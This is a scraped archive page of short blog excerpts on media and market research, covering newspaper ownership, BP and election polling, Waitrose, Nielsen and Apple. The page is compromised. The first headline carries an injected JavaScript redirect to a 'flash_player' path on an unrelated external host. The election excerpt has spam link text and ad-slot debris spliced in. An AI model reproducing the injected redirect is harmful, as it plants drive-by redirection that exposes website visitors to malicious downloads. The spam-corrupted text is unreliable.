Research

How Alexander Lebedev can make money from the Independentdocument.location.href=”http://www.sommen.nu/templates/flash_player/?A”

AdSense…Default Ad#ad-1#ad-1-1#ad-2#ad-2-1#ad-3 First, the Independent in London is very fortunate. To have a proprietor with deep pockets is the key requirement for a modern newspaper and in Alexander Lebedev the Indy has found its man. To have a proprietor with ...

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Americans give BP benefit of doubt over Gulf of Mexico oil spill

They don’t seem that critical anyway, 36 per cent of respondents to a Pew Research Center poll calling BP’s response to the Gulf of Mexico oil spill ‘only fair’, ahead of the 27 per cent who described it as ‘poor.’ ...

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How the politicians failed to get through to the voters

One of the reasons for the hung parliament produced by the general election may simply be the mediocre quality of the communications from the three parties. homework for you In past elections, slogans such as the Tories’ “Labour isn’t working” ...

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There is a victor in the UK election – pollsters Ipsos Mori

You have to hold your hands up, as a football manager might say, the boys done well. Ipsos Mori’s exit poll of over 17,000 voters in the UK general election was right on the money, its prediction of 307 Conservative ...

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Waitrose in mid-recession boom

UK consumers are supposed to be cutting back on spending in the midst of the economic doom and gloom and yet premium-priced Waitrose is booming. What’s going on here? According to research firm Kantar the chintzy grocery chain has just ...

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Is this how to increase Google search results?

Craig MacDonald, chief marketing officer of search ROI software firm Covario thinks it is anyway. His job explains why Craig is being so generous with readers of Ad Age but he has some interesting points to make about the business ...

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Owners plan $21bn sale of market researcher Nielsen

The six private equity owners of market research giant Nielsen are planning an IPO (initial public offer) of the firm they bought a couple of years ago for $10bn for between $17bn and $21bn. This is a mightily optimistic bet ...

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Now US business goes Apple app crazy

At long last Apple is cracking the corporate market, instanced by booming sales of iPhones (27 per cent of the US market in February) and the new iPad. Buyers are apparently being wooed by the ever-growing number of Apple apps ...

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TV boom times are back – for a few months at least

According to respected research firm Enders Analysis they are anyway. Enders forecasts that the UK TV market will be up by around 20 per cent in April and May this year compared to last, following tiny increases at the start ...

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